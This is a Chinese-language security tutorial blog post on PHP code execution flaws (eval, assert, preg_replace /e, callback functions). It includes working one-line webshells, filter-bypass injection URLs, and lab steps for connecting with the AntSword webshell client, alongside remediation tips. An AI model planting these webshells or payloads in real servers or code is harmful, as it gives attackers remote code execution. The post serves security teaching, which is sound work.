1. 程式人生 > 其它 >護網筆記(十二)--程式碼執行漏洞

護網筆記(十二)--程式碼執行漏洞

目錄

程式碼執行漏洞

概述

在Web應用中有時候程式設計師為了考慮靈活性,簡潔性,會在程式碼呼叫eval函式(PHP函式)去處理。比如當應用在呼叫一些能將字串轉化成程式碼的函式時,沒有考慮使用者是否能控制這個字串,將造成程式碼執行漏洞。

相關函式

eval() //字串作為php程式碼執行

assert()

preg_replace() // 執行一個正則表示式的搜尋和替換

create_function() // 建立匿名函式

array_map()

call_user_func() / call_user_func_array()

array_filter()

usort(), uasort()

$_GET['a'] //a=assert&b=phpinfo()

危害

eval函式

<?php
    eval('phpinfo();');   //eval() 函式把字串按照 PHP 程式碼執行。
?>

eval()函式漏洞利用_1

<?php
    $data=$_GET['data'];
	eval("\$ret = $data;");
	echo $ret;
?>

使用一句話木馬連線測試:

phpstrom程式碼除錯

http://127.0.0.1/hello.php?data=phpinfo()&XDEBUG_SESSION_START=PHPSTORM

實驗

嘗試利用下面程式碼,構造一句話木馬,並使用蟻劍連線

demo.php

<?php
    eval($_GET['a']);   //$_GET 變數用於收集來自表單中的值
?>
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27]);

eval()函式繞過

如何繞過下面程式碼過濾,構造出一句話木馬,並能用蟻劍連線。

<?php
	$data = $_GET['a'];
	$temp = "\$ret = strtolower(\"data\");"; //strtolower()函式 把字串轉換為小寫
	eval($temp);
	echo $ret;
?>
//雙引號url編碼是%22
http://127.0.0.1/demo.php?a=%22);phpinfo();(%22
//構造一句話木馬

//第一種方式
http://127.0.0.1/demo.php?a=%22);eval($_POST[%27b%27]);(%22

//第二種方式
http://127.0.0.1/demo.php?a=${eval($_POST[%27b%27])}

assert函式

** assert函式直接將傳入的引數當成PHP程式碼直接執行,不需要以分號結尾,加分號也可以**

<?php @assert($_GET['cmd'])?>
<?php @assert($_POST['cmd'])?>   

assert函式只能執行一個函式,像echo 123123; assert卻不能直接執行

** 可變變數,可變函式**

<?php
    //可變變數
    $a = 'b';
    $b = 'c';
    echo $$a; //c

    //可變函式
    function sayHello(){
        echo 'hello world';
    }
    $a = 'say';
    $b = 'hello';
    $c = $a.$b;
    $c();
?>
<?php
	//eval()函式 是一個語言構造器而不是一個函式,不能被可變函式呼叫
	$a = 'ev';
	$b = 'al';
	$c = $a.$b;
	$c("phpinfo();")  //報錯
        
    //assert()函式,能被可變函式呼叫
   	$a = 'ass';
	$b = 'ert';
	$c = $a.$b;
	$c("phpinfo()")
             
?>

注意:因為eval()是一個語言構造器而不是一個函式,不能被可變函式呼叫。

構造一句話木馬,使用蟻劍連線

<?php   
    //assert()函式,能被可變函式呼叫
   	$a = 'ass';
	$b = 'ert';
	$c = $a.$b;
	$c($_GET['a']);
?>
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27])

preg_repalce函式

PHP版本5.6之前

preg_repalce函式執行一個正則表示式的搜尋和替換

preg_replace (正則表示式, 替換成, 字串)

preg_replace ( $pattern , $replacement , string)

<?php 
$a = $_GET['a'];
echo preg_replace("/test/e",$a,"just test!");
    
?>
/*
如果我們提交?a=phpinfo(),phpinfo()將會被執行(使用/e修飾符,preg_replace會將第二引數當作 PHP 程式碼執行
當使用 /e 修飾符呼叫 preg_replace() 時,直譯器必須在每次替換時將替換字串解析為 PHP 程式碼一次
*/

構造一句話木馬,使用蟻劍連線

http://127.0.0.1/demo.php?a=eval($_POST[%27b%27])

preg_replace 進行程式碼執行,需要的條件

​				1、修飾符需要有e

​				2、要求版本小於等於5.6

​				3、第二個引數要直接或者間接可控

​				4、模式必須成功匹配到

phpstrom進行下面程式碼除錯

<?php
    //echo $data;
    //此時相當於在$data變數中查詢是否滿足正則匹配的條件
    //此時的正則表示式條件:<data>(.*)</data>
    //如果滿足正則匹配條件,則將replacement引數中的值進行替換
    //如果說第一個引數中有/e,則代表replacement引數,可以近似大的理解為將程式碼先用eval進行執行
    $data=$_GET['data'];
	echo $data;
	preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$data);
    echo $ret;
    
?>
//小於號的url編碼是%3C
//大於號的url編碼是%3E

http://127.0.0.1/demo.php?data=%3Cdata%3Exingongke%3C/data%3E&XDEBUG_SESSION_START=PHPSTORM

create_function函式

create_function — 建立匿名函式

我們一般應該怎麼建立函式

比如說:

<?php
function diy_add($a,$b){
	return $a + $b;
}
echo diy_add(3,6);
?>

create_function函式可以 建立"匿名"函式

    <?php
        $func = create_function('$a,$b', 'echo $a.$b;');
        $func('hello','world');

	//上面程式碼和下面程式碼實現相似功能
	function xxx($a,$b){
        echo "$a"."$b";
    }
    xxx('hello','world');
?>

array_map函式

array_map — 為陣列的每個元素應用回撥函式

array_map ( callable $callback , array $array , array ...$arrays )

引數

callback

回撥函式 callable,應用到每個數組裡的每個元素。

多個數組操作合併時,callback 可以設定為 null。 如果只提供了 array 一個數組, array_map() 會返回輸入的陣列。

array

陣列,遍歷執行 callback 函式。

arrays

額外的陣列列表,每個都遍歷執行 callback 函式。

例:

<?php
    function cube($n)
    {
        return ($n * $n * $n);
    }

    $a = [1, 2, 3, 4, 5];
    $b = array_map('cube', $a);
    print_r($b);
?>

call_user_func函式

call_user_func() — 把第一個引數作為回撥函式呼叫

第一個引數 callback 是被呼叫的回撥函式,其餘引數是回撥函式的引數。

http://127.0.0.1/demo.php?cmd=phpinfo();
<?php
    call_user_func("assert", $_GET['cmd']);
?>

array_filter函式

array_filter — 使用回撥函式過濾陣列的元素

http://127.0.0.1/demo.php?a=phpinfo();
<?php
    $array[0] = $_GET['a'];
    array_filter($array, 'assert');
?>
http://127.0.0.1/demo.php?1=assert&2=phpinfo();
<?php
	$_GET[1]($_GET[2]);
?>

usort函式

usort — 使用使用者自定義的比較函式對陣列中的值進行排序

http://127.0.0.1/demo.php?1=phpinfo();
<?php
 $a = array($_GET[1],12345,'hehe');
 function xxx($num1, $num2){
     @assert($num2);
     return -1;
 }
 usort($a, 'xxx')
?>

大馬和小馬的區別: 小馬往往是可以動態的執行下達的指令,通常都是eval,assert函式來執行的,體積小,容易免殺。 大馬往往是將整個功能點已經寫入在檔案中,執行相應的操作無需呼叫eval等函式來執行,往往體積較大,免殺相對複雜

漏洞修復方案

1,對於eval()等函式一定要保證使用者不能控制函式的引數,或者使用正則,對使用者輸入資料的格式進行判斷。

2,對於字串一定要使用單引號包裹可控程式碼,並且插入前進行過濾

3,對於preg_replace放棄使用e修飾符。如果必須要用e修飾符,請判斷第二個引數,是否會被插入php程式碼

本文來自作者:CK_0ff,轉載請註明原文連結:https://www.cnblogs.com/Ck-0ff/p/15811047.html